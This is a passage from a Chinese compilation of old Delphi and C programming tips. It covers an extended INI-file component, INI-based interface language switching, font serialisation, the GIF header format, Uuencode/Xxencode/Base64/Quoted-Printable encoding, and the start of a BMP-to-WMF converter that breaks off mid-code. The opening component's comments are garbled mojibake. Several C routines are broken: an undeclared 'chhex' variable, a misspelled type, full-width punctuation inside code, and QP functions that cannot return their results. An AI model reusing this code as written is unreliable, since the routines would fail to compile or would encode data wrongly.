//?? è? ×? ·? strLcat(Buffer,PChar(FList.Strings[ExtIni_I]),IdentLen-1);Strings.Add(Buffer);freemem(Buffer);end;end;end;

end;

//?a ?? ′ú ?? ?¨ ò? á? D′ è? ×? ·? ′? μ? 1y 3ì

procedure TExtIniFile.WriteString(const Section: string; Ident: string; Value:

string);

var

ExtIni_I, ExtIni_Start, ExtIni_End, BufSize: Integer; Buffer: Pchar; IdentLen:

Integer; FindEndOK, FindOK: Boolean;

begin

FindEndOK := False;

FindOK := False;

ExtIni_Start := -1;

ExtIni_End := -1;

IdentLen := Length(Ident);

//è? 1? áD ±í °ü o? ?ú èY

if FList.Count > 0 then

begin

//?ì ?÷ è? ?? ￡? 2é ?ò Section

for ExtIni_I := 0 to FList.Count - 1 do

begin

if UpperCase(FList.Strings[ExtIni_I]) = '[' + UpperCase(Section) + ']' then

begin

if ExtIni_Start = -1 then

begin

ExtIni_Start := ExtIni_I;

end;

end;

end;

//è? 1? 2é ?ò Section ê§ °ü

if ExtIni_Start = -1 then

begin

FList.Add('[' + Section + ']');

ExtIni_Start := FList.Count - 1;

end;

//è? 1? 2é ?ò Section 3é 1|

if ExtIni_Start > -1 then

begin

for ExtIni_I := ExtIni_Start + 1 to FList.Count - 1 do

begin

BufSize := Length(FList.Strings[ExtIni_I]);

GetMem(Buffer, BufSize + 2);

Buffer^ := chr(0);

//?? è? μú ò? ?? ×? ·?

strLcat(Buffer, PChar(FList.Strings[ExtIni_I]), 1);

//è? 1? μú ò? ?? ×? ·? ?a '['

if Buffer = '[' then FindEndOK := True;

//?ò ?a ?? ?μ

if FList.Strings[ExtIni_I] = '' then FindEndOK := True;

//±ê ?? ?? ?? μ? ?á ê? DD

if FindEndOK = True then

begin

if ExtIni_End = -1 then

begin

ExtIni_End := ExtIni_I;

end;

end;

//êí ·? ?ú ′?

FreeMem(Buffer);

end;

end;

//è? 1? ?? óD ?ò μ? ?? μ? ?á ê? DD

if ExtIni_End = -1 then

FList.Add(Ident + ' = ' + Value);

//è? 1? ?ò μ? ?? μ? ?á ê? DD

if ExtIni_End <> -1 then

begin

//?ì ?÷ ?ü

for ExtIni_I := ExtIni_Start + 1 to ExtIni_End do

begin

BufSize := Length(FList.Strings[ExtIni_I]);

GetMem(Buffer, BufSize + 2);

Buffer^ := chr(0);

StrLcat(Buffer, PChar(FList.Strings[ExtIni_I]),

IdentLen + 1);

//è? 1? ?ì ?÷ 3é 1|

if UpperCase(string(Buffer)) = UpperCase(Ident + ' = ') then

begin

FList.Strings[ExtIni_I] := Ident + ' = ' + Value;

FindOK := True;

end;

FreeMem(Buffer, BufSize);

end;

if FindOK = false then

FList.Insert(ExtIni_End, Ident + ' = ' + Value);

end;

end;

if FList.Count = 0 then

begin

FList.Add('[' + Section + ']');

FList.Add(Ident + ' = ' + Value);

end;

FList.SaveToFile(FFileName);

end;

procedure TExtIniFile.WriteInteger(const Section:

string; Ident: string; Value: Integer);

begin

WriteString(Section, Ident, inttostr(Value));

end;

procedure TExtIniFile.WriteBoolean(const Section:

string; Ident: string; Value: Boolean);

begin

if Value = true then

WriteString(Section, Ident, '1 ')

else

WriteString(Section, Ident, ' 0');

end;

end.

    完成输入后，即完成了一个叫Extinifiles的非可视组件，安装到Delphi中，即可像操作inifiles一样操作Extinifiles，不仅操作方式兼容，生成的文件也相互兼容，不同之处是Extinifiles可以支持无限大的ini文件，可以使用到任何程序中。当然也可以将他改装并编译为一个Dll文件，便可以由VB调用了。在实际使用过程中，在赛阳300A的系统下可以非常快速的操作0M～1.5M的数据，而K6－2－300的系统则可以快速的操作0M～3M的数据。

    以上组件在Delphi3＋中文Windows98中调试通过，经实验证明同样兼容Delphi5。这个组件和演示程序亦可通过访问http://qingyuan.csw.cnshare.net获得。(长沙 夏昆冈)


用INI实现多语言界面的切换

对于INI文件的操作，我不多说了，仅仅就如何实现语言界面的切换做一个简单的说明：

首先，必须把所有的INI语言文件的结构统一，这样，我们只要传入INI的文件名，就可以通用了，例如我们可以做一个过程SetLanguage(const FileName:string);，这样只要用SetLanguage('CN.INI')就可以了，第二个需要注意的地方，你应该可以让用户选择语言界面的文件，因此程序启动的时候，应该搜索程序目录下面的所有INI文件，当然，你可以在INI文件里面添加一些附加的东西，例如，判断是否是语言INI文件还是其他的配置文件，显示的文字等等~~~~~，如果你的程序中还使用了类似ShowMessage('File Saved!')之类的语句，那么也应该用变量代替！！！例如：ShowMessage(MSG_FILE_SAVED);然后读取INI的时候，一起读入MSG_FILE_SAVED，这样才能保证所有的信息全部变成相应的语言！如果对于这些嵌入程序的信息你怕一个个很麻烦的话， 可以用数组来做~~~~~~~~~：）。接下来就是翻译文字了，这个就~~~~~~~~免了吧？最重要的一步到了：切换语言！我以前的方法是自己写一个过程，用Lable1.Caption:=Ini.ReadString(....)之类的，$^*$#@&^@*(^@(^$@^，现在想起来，怎么这么弱？：（，真的很笨，嗯咳~~~~~~不许笑，：），这个方法有一个缺点就是如果你添加一个控件就^$#@&*^%@&*了~~~~~~~~~，所以必须找一个更好的方法！看看下面的函数就知道了：

procedure SetLanguage(const FileName:string);

使用这个方法对于大多数的情况已经够了，但是有一个不方便的地方是如果动态创建窗体或者控件的话，就不行了~~~~~：（，不过你可以根据你的需要，可以修改上面的过程，然后在每一个窗体的OnCreate中添加代码就可以了，例如你把上面的过程改成对单个窗体的，就可以了：）。如果还有考虑不到的控件，你自己添加好了~~：），对于一些小程序来说，下面的已经够了：

{****************************************

* 模块说明：利用切换INI切换语言函数*

* 作者：Kingron@163.net *

****************************************}

{****************************************

下面的编译指定表示是否导出成一个INI文件

一般的情况下面，没有必要修改，但需要母本

INI的时候，可以把注释去掉

****************************************}

{$IFNDEF INI_EXPORT}

///{$DEFINE INI_EXPORT}

{$ENDIF}

{****************************************

函数参数说明：

FileName:Ini语言文件名

msg:用于程序中的信息的保存数组

IgnoreTagValue:需要忽略的组件的Tag值

使用举例：

var

Msg:array of string;

.....

SetLanguage(ExtractFilePath(ParamStr(0))+'English.Ini',msg,$FF);

那么函数会忽略所有Tag值为$FF的控件

****************************************}

procedure SetLanguage(const FileName: string; var msg: array of string; const IgnoreTagValue: byte = $FF);

const

///下面是一些常量

TRANS_SECTION = 'Translations';

MESSAGES = 'Messages';

COMMON = 'Common';

HINT = 'Hint';

CAPTION = 'Caption';

MSG_PRE = 'SS_Msg_';

var

i, j, k : integer;

Component : TComponent;

Control : TControl;

Strings : TStrings;

Id : string;

OldCaption : pchar;

L : integer;

begin

with TIniFile.Create(FileName) do

try

{$IFDEF INI_EXPORT}

if Application.Title<>'' then WriteString(COMMON, 'Application.Title', Application.Title);

WriteBool(COMMON, 'CheckValid', True);

{$ELSE}

if not ReadBool(COMMON, 'CheckValid', False) then exit; ///不是合法的语言文件

Application.Title := ReadString(COMMON, 'Application.Title', Application.Title);

{$ENDIF}

for i := Low(msg) to High(msg) do ///读取非控件的一些语言元素

{$IFDEF INI_EXPORT}

if Msg[i]<>'' then

WriteString(MESSAGES, MSG_PRE + IntToStr(i), msg[i]);

{$ELSE}

msg[i] := ReadString(MESSAGES, MSG_PRE + IntToStr(i), msg[i]);

{$ENDIF}

for i := 0 to Screen.FormCount - 1 do ///遍历程序所有窗体

begin

{$IFDEF INI_EXPORT}

if Screen.Forms[i].Caption<>'' then

WriteString(TRANS_SECTION, Screen.Forms[i].Name + '.' + CAPTION, Screen.Forms[i].Caption);

if Screen.Forms[i].Hint<>'' then

WriteString(TRANS_SECTION, Screen.Forms[i].Name + '.' + HINT, Screen.Forms[i].Hint);

{$ELSE}

Screen.Forms[i].Caption := ReadString(TRANS_SECTION, Screen.Forms[i].Name + '.' + CAPTION, Screen.Forms[i].Caption);

Screen.Forms[i].Hint := ReadString(TRANS_SECTION, Screen.Forms[i].Name + '.' + HINT, Screen.Forms[i].Hint);

{$ENDIF}

for j := 0 to Screen.Forms[i].ComponentCount - 1 do ///遍历窗体所有组件

begin

Component := Screen.Forms[i].Components[j] as TComponent;

if Component.Tag = IgnoreTagValue then Continue; ///需要忽略的控件

Id := Screen.Forms[i].Name + '.' + Component.Name + '.';

if Component is TControl then ///普通的控件如：TButton,TSpeedButton,TBitBtn,TCheckBox....

begin

Control := Component as TControl;

/// 下面的代码是用来生成第一个INI文件使用的

{$IFDEF INI_EXPORT}

if Control.Hint<>'' then

WriteString(TRANS_SECTION, Id + HINT, Control.Hint);

{$ELSE}

Control.Hint := ReadString(TRANS_SECTION, Id + HINT, Control.Hint);

{$ENDIF}

if Control is TCustomEdit then Continue; ///忽略TMemo,TEdit之类的

if (Component is TCustomListBox) or (Component is TCustomRadioGroup)

or (Component is TCustomComboBox) then /// Listbox,RadioGroup,Combobox必须单独处理

begin

Strings := nil; ///本行用于忽略编译信息

if Component is TCustomListBox then Strings := TCustomListBox(Component).Items;

if Component is TCustomRadioGroup then Strings := TRadioGroup(Component).Items;

if Component is TCustomComboBox then Strings := TCustomComboBox(Component).Items;

for k := 0 to Strings.Count - 1 do ///遍历Items的每一项

{$IFDEF INI_EXPORT}

WriteString(TRANS_SECTION, ID + 'Items.' + IntToStr(k), Strings.Strings[k]);

{$ELSE}

Strings.Strings[k] := ReadString(TRANS_SECTION, ID + 'Items.' + IntToStr(k), Strings.Strings[k]);

{$ENDIF}

end;

if Component is TCustomComboBox then Continue; ///Combobox还有一点儿问题，:-(

L := Control.GetTextLen + 1;

GetMem(OldCaption, L);

Control.GetTextBuf(OldCaption, L);

{$IFDEF INI_EXPORT}

if StrPas(OldCaption)<>'' then

WriteString(TRANS_SECTION, Id + CAPTION, OldCaption);

{$ELSE}

Control.SetTextBuf(pchar(ReadString(TRANS_SECTION, Id + CAPTION, OldCaption)));

{$ENDIF}

FreeMem(OldCaption, L);

continue;

end;

if Component is TMenuItem then /// 处理TMenuItem

begin

{$IFDEF INI_EXPORT}

if (TMenuItem(Component).Caption<>'') and (TMenuItem(Component).Caption <>'-') then

WriteString(TRANS_SECTION, Id + CAPTION, TMenuItem(Component).Caption);

if TMenuItem(Component).Hint<>'' then

WriteString(TRANS_SECTION, Id + HINT, TMenuItem(Component).Hint);

{$ELSE}

TMenuItem(Component).Caption := ReadString(TRANS_SECTION, ID + CAPTION, TMenuItem(Component).Caption);

TMenuItem(Component).Hint := ReadString(TRANS_SECTION, ID + HINT, TMenuItem(Component).Hint);

{$ENDIF}

Continue;

end;

if Component is TCustomAction then /// 处理TAction

begin

{$IFDEF INI_EXPORT}

if TCustomAction(Component).Caption<>'' then

WriteString(TRANS_SECTION, Id + CAPTION, TCustomAction(Component).Caption);

if TCustomAction(Component).Hint<>'' then

WriteString(TRANS_SECTION, Id + HINT, TCustomAction(Component).Hint);

{$ELSE}

TCustomAction(Component).Caption := ReadString(TRANS_SECTION, CAPTION, TCustomAction(Component).Caption);

TCustomAction(Component).Hint := ReadString(TRANS_SECTION, ID + HINT, TCustomAction(Component).Hint);

{$ENDIF}

Continue;

end;

if Component is TOpenDialog then ///处理TOpenDialog,TSaveDialog,....

begin

{$IFDEF INI_EXPORT}

if TOpenDialog(Component).Filter<>'' then

WriteString(TRANS_SECTION, Id + 'Filter', TOpenDialog(Component).Filter);

if TOpenDialog(Component).Title<>'' then

WriteString(TRANS_SECTION, Id + 'Title', TOpenDialog(Component).Title);

{$ELSE}

TOpenDialog(Component).Filter := ReadString(TRANS_SECTION, ID + HINT, TOpenDialog(Component).Filter);

TOpenDialog(Component).Title := ReadString(TRANS_SECTION, CAPTION, TOpenDialog(Component).Title);

{$ENDIF}

end;

end;

end;

finally

Free;

end;

end;


Font的存储

看看下面的代码：

function FontToString(Font: TFont): string;

begin

with Font do

Result := Format('%.8x%.8x%.4x%.4x%.1x%.2x%.1x%.4x%s', [Color, Height, Size,

PixelsPerInch, Byte(Pitch), CharSet, Byte(Style), Length(Name), Name]);

end;

procedure StringToFont(Str: string; Font: TFont);

var

Buff: string;

begin

if Length(Str) < 33 then raise Exception.Create('Error Font Format String');

Buff := Copy(Str, 1, 8);

Font.Color := StrToInt('$' + Buff);

Buff := Copy(Str, 9, 8);

Font.Height := StrToInt('$' + Buff);

Buff := Copy(Str, 17, 4);

Font.Size := StrToInt('$' + Buff);

Buff := Copy(Str, 21, 4);

Font.PixelsPerInch := StrToInt('$' + Buff);

Buff := Copy(Str, 25, 1);

Font.Pitch := TFontPitch(StrToInt('$' + Buff));

Buff := Copy(Str, 26, 2);

Font.Charset := TFontCharSet(StrToInt('$' + Buff));

Buff := Copy(Str, 28, 1);

Font.Style := TFontStyles(Byte(StrToInt('$' + Buff)));

Buff := Copy(Str, 29, 4);

Font.Name := Copy(Str, 33, StrToInt('$' + Buff));

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Text := FontToString(Memo1.Font);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if FontDialog1.Execute then

Memo1.Font := FontDialog1.Font;

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

StringToFont(Memo1.Text, Memo1.Font);

end;

当然也可以用RTTI，不过不推荐那样做。


如何更改注册表Key的名称？

注意，是修改Key，不是ValueName：

用TRegistry.MoveKey即可。


Gif

GIF（Graphics Interchange Format——图形交换格式）格式是目前最流行的图

形格式之一。它和其他的图形格式最大区别是GIF支持在一个文件中存储多副图形

，这就是我们能够制作GIF动画以及图形计数器的原因。GIF格式与硬件无关，可

以基于全彩色。虽然在一副图中GIF最多只允许256色，但这只是调色板的限制，

事实上我们可以从无限多的颜色中生成这个256色的调色板。 和大多数图形格式

一样，GIF文件为压缩的图形数据生成了一个表头。它记录了该图形文件的一些基

本信息。

GIF文件的表头格式如下：

0000H-0005H：GIF标识。前三个byte是“GIF”，后三个byte是版本号，单副图形

的版本号通常是“87a”。GIF动画的版本号通常是“89a”。

0006H-0009H：图形的宽度和高度，单位是像素。宽度和高度各用两个字节表示（

16位整数）。

000AH　　　：全局...标志(flag)。全局标志用来定义该图形的颜色数以及全局调色

板的信息。全局标志中的最高位（第八位）用来表示该图形文件是否存在一个全

局调色板（我在文章开头已经说过了，GIF允许在一个文件中存储多副图形，单个

图形所对应的调色板，我们称之为局部调色板，而相对于全体图形的调色板则称

之为全局调色板）。“1”代表有，“0”代表无。必须注意的是，由全局标志所

限定的全局调色板只是一个确省值，如果单个图形拥有自己的局部调色板，则全

局调色板失效。（通常情况下，单个图形不设局部调色板，确省的使用全局调色

板）。

全局标志的低三位+1就是该图形文件颜色以2为底数的指数值。例如，低三位为“

111”则表明本文件的全局调色板包括256种颜色；低三位为000则表明是全局调色

板只包括两种颜色。依此类推。这里所限定的颜色数作用于该文件中的所有图形

（全局数据）。

000BH　　：背景颜色。这里定义了该文件中图形的背景颜色。需要指出的是，这

里的颜色值是相对于调色板的值。也就是说，“１”代表调色板中的第一种颜色

。如果等于零，则说明图形为透明。

000CH　　：等于零。如果不等于零，则说明文件有错。

000DH　　：如果全局标志中指明存在全局调色板，那么该调色板就从这里开始。

调色板的格式是标准的RGB格式，每个颜色用三个Byte表示，分别对应红绿蓝三

色的百分比。

全局数据结束。

在全局数据之后的剩余数据就是相互独立的数据块了。

每个数据块的第一个Byte用来说明该数据块的类型。“,”表示该数据块是图形数

据；“!”表明这是一个扩充块（这是GIF留给用户进行扩充定义的，很少。在程

序中通常忽略这类数据块）；“;”表示全部数据结束，这是文件的结尾。

主要说明一下以“,”开头的图形数据块。每一个以“,”开头的图形数据块都意

味着一个独立的图形。它也分做表头和数据两部分。表头格式如下（为方便表示

，以下地址以局部图形数据块第一字节为相对0000H）：

0000H：“,”；

0001H-0002H：左边界；

0003H-0004H：上边界；

0005H-0006H：宽度；

0007H-0008H：高度；

注意，以上数值均为图形全局尺寸的相对位置。

0009H　　　：局部标志位。局部标志位格式于用途基本上和全局标志相同。只是

它的作用域为单个图形，因此所限定的调色板为局部调色板。还需要注意的是这

个Byte的第七位，它用来表明该图形是否使用隔行扫描。“1”表示隔行，“0”

表示不隔行。

如果是图形定义为不隔行扫描，则未压缩的数据与物理屏幕一一对应。如果定义

为隔行扫描，则未压缩数据的获得要相对复杂些。这将在例程中讨论。

000AH　　：如果局部标志位定义了局部调色板，则从这里开始。如果没有，就是

正式的图形数据的第一个Byte了。

图形数据采用LZW技术压缩。我们将再晚些时候的“GIF图形的生成与还原（二）

” 中专门论述。


Uuencode

1. Uuencode

Uuencode 是将二进制文件以文本文件方式进行编码表示、

以利于基于文本传输环境中进行二进制文件的传输/交换的编

码方法之一， 在邮件系统/二进制新闻组中使用频率比较高，

经常用于 Attach 二进制文件。

这种编码的特征是：每一行开头用“M”标志。下面是我

做的一个测试用的文件mogao.txt，编码为Uuencode：

begin 644 mogao.txt

M"0D)("`@(*&VPM+"Z\BKH;<-"@G7]]7?.FUO9V%OHZRPU]3&NZ

MU]6^HZAT96QN970Z+R,#(N,3$R+C(P+C$S,CHR,Z.ILL:&C#0H)("`@

M("`@Q*JXW/ZYI-?WRM*CNFAT='`Z+R]M;V=A;RYB96YT:75N+FYE=`T*

M"0D)16UA:6QT;SIM;V=A;T`S-S$N;F5T#0H)("`@*BHJ*BHJ*BHJ*BHJ*BHJ

M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ("`@("`@("`@("`@("`@

M#0H)("`@*B"S_<'+O,?2Y,JRP[2VO+*[M/C7WZ.LL_W!R]?CO*/*LL.TMKRR

MNTS(J#0H)("`@*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ

,*BHJ*BHJ*BHJ*BHJ

`

end

你可以把它单独存成一个文件：mogao.uue，然后用Winzip

打开，解压即得mogao.txt。

Uuencode的算法很简单，编码时它将3个字符顺序放入一个

24 位的缓冲区，缺字符的地方补零，然后将缓冲区截断成为

4 个部分，高位在先，每个部分 6 位，用下面的64个字符重新

表示：

"`!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_"

在文件的开头有“begin xxx 被编码的文件名”，在文件的结尾

有“end”，用来标志Uue文件的开始和结束。编码时，每次读取

源文件的45个字符，不足45个的用“NULL”补足为3的整数倍（

如：23补为24），然后输入目标文件一个ASCII为：“32+实际

读取的字符数”的字符作为每一行的开始。读取的字符编码后

输入目标文件，再输入一个“换行符”。如果源文件被编码完

了，那么输入“`（ASCII为96）”和一个“换行符”表示编码

结束。

解码时它将4个字符分别转换为4个6位字符后，截取有用的

后六位放入一个 24 位的缓冲区，即得3个二进制代码。

下面我给出Uuencode编码和解码的C语言描述：

/*Uuencode编码*/

void Uue(unsigned char chasc[3],unsigned char chuue[4])

/*

chasc：未编码的二进制代码

chuue：编码过的Uue代码

*/

{int i,k=2;

unsigned char t=NULL;

for(i=0;i<3;i++)

{*(chuue+i)=*(chasc+i)>>k;

*(chuue+i)|=t;

if(*(chuue+i)==NULL) *(chuue+i)+=96;

else *(chuue+i)+=32;

t=*(chasc+i)<<(8-k);

t>>=2;

k+=2;

}

*(chuue+3)=*(chasc+2)&63;

if(*(chuue+3)==NULL) *(chuue+3)+=96;

else *(chuue+3)+=32;

}

/*Uuencode解码*/

void unUue（unsigned char chuue[4]，unsigned char chasc[3]）

/*

chuue：未解码的Uue代码

chasc：解码过的二进制代码

*/

{int i,k=2;

unsigned char t=NULL;

if(*chuue==96) *chuue=NULL;

else *chuue-=32;

for(i=0;i<3;i++)

{*(chasc+i)=*(chuue+i)<<k;

k+=2;

if(*(chuue+i+1)==96) *(chuue+i+1)=NULL;

else *(chuue+i+1)-=32;

t=*(chuue+i+1)>>8-k;

*(chasc+i)|=t;

}

}

2. Xxencode

提到Uuencode不可能不提Xxencode， Xxencode的编码算法

和 Uuencode基本相同，但是使用的是不同的字符集。XxEncode

编码使用的字符是：

“+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”

与 Uuencode 相比，它的特殊字符更少。很多支持 Uuencode

编解码的工具都同时支持 Xxencode。

这种编码的特征是：每一行开头用“h”标志。下面是

Xxencode的一个例子：

begin 644 mogao.txt

h0EY760+U684qkh90uwjXhuWowwWfcPQB0UbLxxLTCapjNq3jcumkpxH4iwOu

hpxKycuVoNKliNLEu9mwmA16iAH2m9X6k9X2nAXcmAuCdgwbIgO4X1Ec760+U

h60+Ul8esrwXhjDutdBTrmh8XiaVoR5+u9mxhPqRVPmtWNKtoOLJi9atZR+o8

h0EY7FKpVOKloPndhPqRVPo+nBn2iPaJo1Ec760+U8Wce8Wce8Wce8Wce8Wce

h8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce60+U60+U60+U60+U60+U

h1Ec760+U8W0nzQ59jATGtAemkvGqj98vhDXLruCggzr-mxTXj8D8ggCohfmm

hiw5onw6e1Ec760+U8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce8Wce

A8Wce8Wce8Wce8Wce

+

end

你可以把它单独存成一个文件：mogao.xxe，然后用Winzip

打开，解压即得mogao.txt。

Xxencode的编码算法和Uuencode基本相同，实现起来则更

为简单，在此就不详述了。

下面给出Xxencode编码和解码的C语言描述：

/*Xxencode编码*/

void Xxe（unsigned char chasc[3],unsigned char chxxe[4])

/*

chasc：未编码的二进制代码

chxxe：编码过的Xxe代码

*/

{int i；

static char set[]=

"+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

chxxe[0]=chasc[0]>>2;

chxxe[1]=(chasc[0]<<4)&48|(chasc[1]>>4)&15;

chxxe[2]=(chasc[1]<<2)&60|(chasc[2]>>6)&3;

chxxe[3]=chasc[2]&63;

for(i=0;i<4;i++) chxxe[i]=set[chxxe[i]]; /*查表*/

}

/*需注意的是，Xxencode文件正文部分中每一行的第一个字母是

：从源文件中实际读取的字符数的ASCII值取后六位后用set[]查

表得到的。*/

/*Xxencode解码*/

unsigned char set(unsigned char ch) /*查表函数*/

{if(ch==43) ch=0;

else if(ch==45) ch=1;

else if(ch>=48&&ch<=57) ch-=46;

else if(ch>=65&&ch<=90) ch-=53;

else if(ch>=97&&ch<=122) ch-=59;

return ch;

}

void unXxe（unsigned char chxxe[4]，unsigned char chasc[3]）

/*

chxxe：未解码的Xxe代码

chasc：解码过的二进制代码

*/

{int k=2 ,i;

unsigned char t;

t=NULL;

*chxxe=set(*chxxe);

for(i=0;i<3;i++)

{*(chxxe+i+1)=set(*(chxxe+i+1));

(chhex+i)=*(chxxe+i)<<k;

k+=2;

t=*(chxxe+i+1)>>8-k;

*(chhex+i)|=t;

}

}


ps
用 GSview, 在 http://www.cs.wisc.edu/~ghost/


Base64

3. Base64

Base64和下面将要介绍的Quoted-Printable都属于MIME

（多部分( multi-part)、多媒体电子邮件和 WWW 超文本的

一种编码标准，用于传送诸如图形、声音和传真等非文本数

据）。MIME定义在RFC1341中。

Base64是现今在互联网上应用最多的一种编码，几乎所

有的电子邮件软件头把它作为默认的二进制编码，它已经成

了现今电子邮件编码的代名词。

下面是Base64的一个例子，从例子中，您也可以看到

Base64与电子邮件的的紧密联系：

Content-Type: text/plain;charset="cn-gb"

Content-Transfer-Encoding: BASE64

CQkJICAgIKG2wtLC68vjt6i088irobcNCgnX99XfOm1vZ2Fvo6yw19TGu8a619W+o6h0ZWxuZXQ6

Ly8yMDIuMTEyLjIwLjEzMjoyM6Ops8nUsaGjDQoJICAgICAgxKq438jtvP65pNf3ytKjumh0dHA6

Ly9tb2dhby5iZW50aXVuLm5ldA0KCQkJRW1haWx0bzptb2dhb0AzNzEubmV0DQoJICAgKioqKioq

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqICAgICAgICAgICAgICAgDQoJ

ICAgKiCz/cHLvMfS5Mqyw7S2vLK7tPjX36Oss/3By9fjvKPKssO0tryyu8H0z8IqDQoJICAgKioq

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq

你可以把它单独存成一个文件，可以取名为：mogao.eml，

双击可以用OutLook打开（前两行为邮件的原始信息，从第四行

开始为编码内容）。

Base64的算法同Uuencode的算法很接近，也很简单：它将

字符流顺序放入一个 24 位的缓冲区，缺字符的地方补零。然

后将缓冲区截断成为 4 个部分，高位在先，每个部分 6 位，

用下面的64个字符重新表示：“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv

wxyz0123456789+/”。

如果输入只有一个或两个字节，那么输出将用等号“=”补足。

这可以隔断附加的信息造成编码的混乱。它每行一般为76个字符。

下面我给出Base64的编码和解码的C语言描述：

/*Base64编码*/

void Base64(unsigned char chasc[3],unsigned char chuue[4])

/*

chasc：未编码的二进制代码

chuue：编码过的Base64代码

*/

{

int i,k=2;

unsinged char t=NULL;

for(i=0;i<3;i++)

{

*(chuue+i)=*(chasc+i)>>k;

*(chuue+i)|=t;

t=*(chasc+i)<<(8-k);

t>>=2;

k+=2;

}

*(chuue+3)=*(chasc+2)&63;

for(i=0;i<4;i++)

if((*(chuue+i)>=0)&&(*(chuue+i)<=25)) *(chuue+i)+=65;

else if((*(chuue+i)>=26)&&(*(chuue+i)<=51)) *(chuue+i)+=71;

else if((*(chuue+i)>=52)&&(*(chuue+i)<=61)) *(chuue+i)-=4;

else if(*(chuue+i)==62) *(chuue+i)=43;

else if(*(chuue+i)==63) *(chuue+i)=47;

}

/*Base64解码*/

void unBase64（unsigned char chuue[4]，unsigned char chasc[3]）

/*

chuue：未解码的Base64代码

chasc：解码过的二进制代码

*/

{int i,k=2;

unsigned char t=NULL;

for(i=0;i<4;i++)

if((*(chuue+i)>=65)&&(*(chuue+i)<=90)) *(chuue+i)-=65;

else if((*(chuue+i)>=97)&&(*(chuue+i)<=122)) *(chuue+i)-=71;

else if((*(chuue+i)>=48)&&(*(chuue+i)<=57)) *(chuue+i)+=4;

else if(*(chuue+i)==43) *(chuue+i)=62;

else if(*(chuue+i)==47) *(chuue+i)=63;

else if(*(chuue+i)==61) *(chuue+i)=0;

for(i=0;i<3;i++)

{*(chhex+i)=*(chuue+i)<<k;

k+=2;

t=*(chuue+i+1)>>8-k;

*(chhex+i)|=t;

}

}

4. Quoted-Printable

Quoted-Printable简称QP， 一般用在Email系统中。它

通常用于少量文本方式的8位字符的编码，例如Foxmail就用

它做对主题和信体的编码。这种编码的应该是很好辨认的：

它有大量的“=”。下面是它的一个例子：

Mime-Version: 1.0

Content-Transfer-Encoding: quoted-printable

=A1=B6=C2=D2=C2=EB=CB=E3=B7=A8=B4=F3=C8=AB=A1=B7

=D7=F7=D5=DF:mogao=A3=AC=B0=D7=D4=C6=BB=C6=BA=D7=D5=BE=A3=A8telnet://202.11

2.20.132:23=A3=A9=B3=C9=D4=B1=A1=A3

=C4=AA=B8=DF=C8=ED=BC=FE=B9=A4=D7=F7=CA=D2=A3=BAhttp://mogao.bentiun.

net

Emailto:mogao@371.net

*********************************************

* =B3=FD=C1=CB=BC=C7=D2=E4=CA=B2=C3=B4=B6=BC=B2=BB=B4=F8=D7=DF=A3=AC=B3=

FD=C1=CB=D7=E3=BC=A3=CA=B2=C3=B4=B6=BC=B2=BB=C1=F4=CF=C2*

*********************************************

你可以把它单独存成一个文件，取名为：mogao.eml，

双击可以用OutLook打开（前两行为邮件的原始信息，从第

四行开始为编码内容）。

QP的算法可以说是最简单的也可以说是编码效率最低的

（它的编码率是1:3），它是专门为了处理8位字符制定的。

它的算法是：读一个字符，如果ASCII码大于127，即字符的

第8位是1的话，进行编码，否则忽略（有时也对7位字符编码）。

编码很简单，看下面的C语言描述即可：

/*QP编码*/

void qp(unsigned char sour,unsigned char first,unsigned char second)

/*

sour:要编码的字符

first:编码后的第一个字符

second:编码后的第二个字符

first和second为返回值

*/

{

if(sour>127)

{first=sour>>4;

second=sour&15;

if(first>9) first+=55;

else first+=48;

if(second>9) second+=55;

else second+=48;

printf("%c%c%c",'=',first,second);

}

}

/*QP解码*/

void uqp(unsigned char sour,unsigned char first,unsigned char second)

/*

sour:解码后的字符

first:QP码的第一个字符

second:QP码的第二个字符

sour为返回值

*/

{

if(first>=65) first-=55;

else first-=48;

if(second>=65) second-=55;

else second-=48;

sour=NULL;

sour=first<<4;

sour|=second;

}

现在大家知道为什么QP的编码率那么低了吧！关于QP的

详细说明和准确定义可以参阅RFC2045。


BMP<-->WMF/EMF

：aimingoo, 时间：1998-9-10 8:42:59, ID：1636

下面的内容回答houyg的提问：

{File Convert[BMP&WMF/EMF] Tool Ver1.0, Full source by aiming.

===============================================================

请用命令行dcc -cc bmp2wmf.dpr编译，或设置"生成控制台程序"编译项

在IDE中编译。生成的程序只能在win95的DOS窗口中使用。

===============================================================}

program bmp2wmf;

uses

Graphics, SysUtils;

const SoftWareName = 'File Convert[BMP&WMF/EMF] Tool Ver1.0,';

CompanyName = 'copyright(c) 1994,98 Keenvim software';

Width = 80 - Length(SoftWareName);

var aBmp : Tbitmap;

aWmf : TMetaFile;

param1 : String;

paramExt : String;

begin

Write(SoftWareName,CompanyName:Width);

Writeln('By Mr. Aiming Zhou.'); Writeln;

if ParamCount >= 1 then

begin

param1 := UpperCase(ParamStr(1));

paramExt := ExtractFileExt(param1);

end;

if (ParamCount < 1) or

(ParamCount > 2) or

((ParamCount = 2) and (UpperCase(ParamStr(2)) <> '/E')) or

((paramExt <> '.BMP') and (paramExt <> '.WMF')

and (paramExt <> '.EMF')) then

begin

writeln('ERROR: Param Invalid!');

writeln('Usage: Bmp2Wmf <.Bmp/.Wmf> [/E]');

writeln('notes: Param [/E] Define ouput .EMF File format.');

exit;

end;

aBmp := Tbitmap.Create;

aWmf := TMetaFile.Create;

if paramExt = '.BMP'

then

begin

aBmp.LoadFromFile(param1);

aWmf.Width := aBmp.Width;

aWmf.Height := aBmp.Height;

if ParamCount = 2 then aWmf.Enhanced := true

else aWmf.Enhanced := false;

